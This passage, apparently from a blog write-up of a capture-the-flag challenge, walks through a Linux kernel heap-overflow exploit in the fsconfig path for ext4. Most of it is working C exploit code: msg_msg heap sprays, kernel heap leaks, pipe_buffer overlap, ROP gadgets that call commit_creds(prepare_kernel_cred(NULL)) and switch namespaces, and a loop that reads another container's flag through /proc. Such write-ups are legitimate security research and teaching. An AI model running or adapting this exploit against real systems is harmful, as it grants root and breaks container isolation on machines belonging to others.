send_msg(linked_msg[i], message, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
message->mtype = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
send_msg(linked_msg[i], message, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x400</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x40</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1038</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> targets[H_SPRAY] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < H_SPRAY; i++)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">memset</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x41</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">+i, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buffer));
targets[i] = make_queue(IPC_PRIVATE, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0666</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> | IPC_CREAT);
send_msg(targets[i], message, size - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// create hole hopefully</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
get_msg(targets[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], recieved, size, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Opening ext4 filesystem"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
fd = fsopen(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ext4"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"fsopen: Remember to unshare"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">strcpy</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(pat, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">117</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// fill it a bit to help prevent potential crashes on MSG_COPY</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
stuff_4k(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Overflowing..."</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
pat[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">21</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'\x00'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> evil[] = </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x60\x19"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, pat, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
fsconfig(fd, FSCONFIG_SET_STRING, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"\x00"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, evil, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Done heap overflow"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
size = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1960</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[*] Receiving corrupted size and leak data"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// go through all targets qids and check if we hopefully get a leak</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < H_SPRAY; i++)
{
get_msg(targets[i], recieved, size, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> j = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x202</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; j < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x202</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> + (</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1960</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-0x1010</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) / </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">8</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; j++)
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *dump = (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint64_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *)recieved;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (dump[j] == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> && dump[j+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x10</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> && dump[j+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] == dump[j+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
{
kmalloc_1024 = dump[j</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
kmalloc_512 = dump[j</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">];
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// delete chunk 1024, chunk 512 already has sprayed pivots</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">uint8_t</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> target_idx = (dump[j+</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] & </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0xff</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">) - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
get_msg(linked_msg[target_idx], recieved, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x400</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> - </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x30</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, IPC_NOWAIT | MSG_NOERROR);
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// spray to replace with pipe_buffer, thanks LIFO!</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> k = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; k < PIPES; k++)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (pipe(pipefd[k]) < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
perror(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"pipe failed"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">exit</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">-1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
write(pipefd[k][</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">], </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"pwnage"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (kmalloc_1024 != </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">break</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
}
close(fd);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (!kmalloc_1024)
{
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"[X] No leaks, trying again"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
stuff_4k(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> leaks;
}
leaks.kmalloc_1024_leak = kmalloc_1024;
leaks.kmalloc_512_leak = kmalloc_512;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> leaks;
}</span></p></div><p>With this information, we can attempt to gain control of the <code>pipe_buffer</code> ops table pointer. </p><p>
</p><p>As I mentioned earlier, my first approach was to perform an unlink attack. In <code>do_msgrcv</code>, the <a href="https://elixir.bootlin.com/linux/v5.7/source/ipc/msg.c#L1153">unlink operation</a>
occurs when <code>MSG_COPY</code> is not specified. When this occurs, the big
picture of what occurs is <code>victim->prev->next = victim->next</code> and
<code>victim->next->prev = victim->prev</code>. If you set up
<code>victim->prev</code> to the location of the ops table pointer, and set
<code>victim->next</code> to an address in your kmalloc-512 <code>msg_msg</code> data buffer,
you should be able to change the ops table pointer to point to your
malicious msg buffer. Basically a classic unlink attack as the diagram
below shows:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEicQfNWiB9bQozs2PBDxpXGNps2qnvA69q2PaJ-AfA7scOxGRpSKjQn28AtIGsR-yqjpqAA9eSyWezl79JvMYkyEjNe9iuQNKToKN4gcU0VxBGkRdRP7MZ4le4tOQxhfO8BzIaIMATHkLEH-5A_ZVHjVvGNTr8e7x5B-bT_XLezIgX7GF4Hz8oIZtL7Uw=s1034" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="613" data-original-width="1034" height="380" src="https://blogger.googleusercontent.com/img/a/AVvXsEicQfNWiB9bQozs2PBDxpXGNps2qnvA69q2PaJ-AfA7scOxGRpSKjQn28AtIGsR-yqjpqAA9eSyWezl79JvMYkyEjNe9iuQNKToKN4gcU0VxBGkRdRP7MZ4le4tOQxhfO8BzIaIMATHkLEH-5A_ZVHjVvGNTr8e7x5B-bT_XLezIgX7GF4Hz8oIZtL7Uw=w640-h380" width="640" /></a></div><br /><p>Unfortunately, <code>CONFIG_DEBUG_LIST</code> was enabled. In this case, linked list unlink performs a validity check with this <a href="https://elixir.bootlin.com/linux/v5.7/source/lib/list_debug.c#L38">function</a>.
Upon failure, it just doesn’t unlink (but the frees still happen and
the original pointers get set to the kernel POISON constants).</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">bool</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> __list_del_entry_valid(</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">struct</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> list_head *entry)
{
</span><span class="hljs-class" style="font-family: monospace; white-space: pre;"><span class="hljs-keyword" style="color: blue;">struct</span> <span class="hljs-title" style="color: #a31515;">list_head</span> *<span class="hljs-title" style="color: #a31515;">prev</span>, *<span class="hljs-title" style="color: #a31515;">next</span>;</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
prev = entry->prev;
next = entry->next;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (CHECK_DATA_CORRUPTION(next == LIST_POISON1,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"list_del corruption, %px->next is LIST_POISON1 (%px)\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
entry, LIST_POISON1) ||
CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"list_del corruption, %px->prev is LIST_POISON2 (%px)\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
entry, LIST_POISON2) ||
CHECK_DATA_CORRUPTION(prev->next != entry,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"list_del corruption. prev->next should be %px, but was %px\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
entry, prev->next) ||
CHECK_DATA_CORRUPTION(next->prev != entry,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"list_del corruption. next->prev should be %px, but was %px\n"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
entry, next->prev))
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">false</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-literal" style="color: #a31515; font-family: monospace; white-space: pre;">true</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}</span></p></div><p>Glibc heap pwners are all well too familiar with this type of check… </p><p>Since we have heap leaks, we can overwrite the linked lists so they
can still dereference upon unlink (even if unlink fails) and then
overwrite the <code>next</code> pointers and <code>security</code> pointers to build an arbitrary
free primitive when chained with <code>do_msgrcv</code>. As the payload must also be
valid strings, we can only do unaligned frees given the slab heap leaks
we have. My plan is to just ignore whatever we freed in kmalloc-512 (so I
will write a misaligned address for the <code>security</code> pointer), and free the
address at our kmalloc-1k chunk at an offset of -0x20. Now, if we
manage to allocate a 1k sized <code>msg_msg</code> over this last freed spot, we can
safely copy in controlled userdata to overwrite the ops pointer to point
to an address holding our stack pivot gadget, while also not triggering
hardened usercopy bounds checks. </p><p>The following diagrams should clarify the above strategy.</p><p>
</p><p>The corrupted 4k <code>msg_msg</code> should create this heap scenario:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEgmV9G9RHasdfwWDKWe7CfePB5HvF1MidXEZaJWGJsvy75sphSeuwI_tVobo56PAk2xebHsAGDLXgPmWmLaw8bRn6SM1k1USHPBa-jEe-Rw_VjJf-k5U-ahumhV1d9TsyrKX0QlQ7fbag8d_Pb4JXXB6dEaZBrOsT8LHrdlHdrlW9vX0Juw5FSb_TBZ4A=s1069" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="688" data-original-width="1069" height="412" src="https://blogger.googleusercontent.com/img/a/AVvXsEgmV9G9RHasdfwWDKWe7CfePB5HvF1MidXEZaJWGJsvy75sphSeuwI_tVobo56PAk2xebHsAGDLXgPmWmLaw8bRn6SM1k1USHPBa-jEe-Rw_VjJf-k5U-ahumhV1d9TsyrKX0QlQ7fbag8d_Pb4JXXB6dEaZBrOsT8LHrdlHdrlW9vX0Juw5FSb_TBZ4A=w640-h412" width="640" /></a></div><br /> Then, freeing the 4k <code>msg_msg</code> and spraying some 1k <code>msg_msg</code> to hopefully overlap with the target <code>pipe_buffer</code>:<p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/a/AVvXsEjnLUr8XN9yLDh8kj0Pc_7H2Oee3c62if_y33BCgkD9fESjzQuVaT8HpEEPhEjh_t7TL5_KB8KL4fCpxYJp_8DBd5tudksGAs_xb6MGehd3Y99AP5HTHerLOqRAyZXBvOxqJXFiCIbYoNFp2SF9GxMkJRQrwgv3bHQCGtMtwFQFUidIyvGR3jj0qzpYQw=s920" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="770" data-original-width="920" height="536" src="https://blogger.googleusercontent.com/img/a/AVvXsEjnLUr8XN9yLDh8kj0Pc_7H2Oee3c62if_y33BCgkD9fESjzQuVaT8HpEEPhEjh_t7TL5_KB8KL4fCpxYJp_8DBd5tudksGAs_xb6MGehd3Y99AP5HTHerLOqRAyZXBvOxqJXFiCIbYoNFp2SF9GxMkJRQrwgv3bHQCGtMtwFQFUidIyvGR3jj0qzpYQw=w640-h536" width="640" /></a></div><br /><p>Closing the target pipefd with close should trigger one of your stack
pivots due to the overwritten ops table pointer (the release function
to be specific). At this point, we noticed that none of the registers
actually pointed to somewhere in kmalloc-512, but all the known
addresses registers like rax pointed to were at the start of the
<code>pipe_buffer</code> chunk. This means that the 1k <code>msg_msg</code> chunk we used to
overwrite the <code>pipe_buffer</code> will also need to contain the ROP chain, and
our stack pivot needs to replace rsp with rax.</p><p>Scanning for nice gadgets, I came to use the following:</p><p>stack pivot: <code>mov rsp, rax ; pop rbp ; ret;</code></p><p>set rdi: <code>pop rdi ; ret ;</code></p><p>set rsi: <code>pop rsi ; ret ;</code></p><p>set rdi from rax: <code>test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;</code></p><p>The goal of our ROP chain was ultimately to become root in the root
namespace. I borrowed Andy Nguyen’s ROP chain strategy to
<code>commit_cred(prepare_kernel_cred(NULL))</code> and
<code>switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)</code> to achieve
that goal. After performing those operations, I relied on the kpti
trampoline from <code>swapgs_and_return_to_userspace</code> to successfully and
gracefully return back to userland. All that we need to fully escape now
is to do the classic <a href="https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation"><code>setns</code> tricks</a> in container breakouts.</p><p>
</p><p>The following snippet of code shows what I did to achieve privilege escalation and containerization escape:</p><div style="background-color: whitesmoke; display: block; max-width: 100%; overflow-x: auto;"><p><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">void</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">dump_flag</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">()</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
{
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">char</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> buf[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">200</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">] = {</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">};
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">for</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> i = </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">4194304</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">; i++)
{
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;">// bruteforce root namespace pid equivalent of the other container's sleep process</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">snprintf</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buf, </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">sizeof</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(buf), </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"/proc/%d/root/flag/flag"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, i);
</span><span class="hljs-type" style="color: #a31515; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> fd = open(buf, O_RDONLY);
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">if</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> (fd < </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
{
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">continue</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">;
}
</span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">puts</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
read(fd, buf, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
write(</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, buf, </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">100</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">);
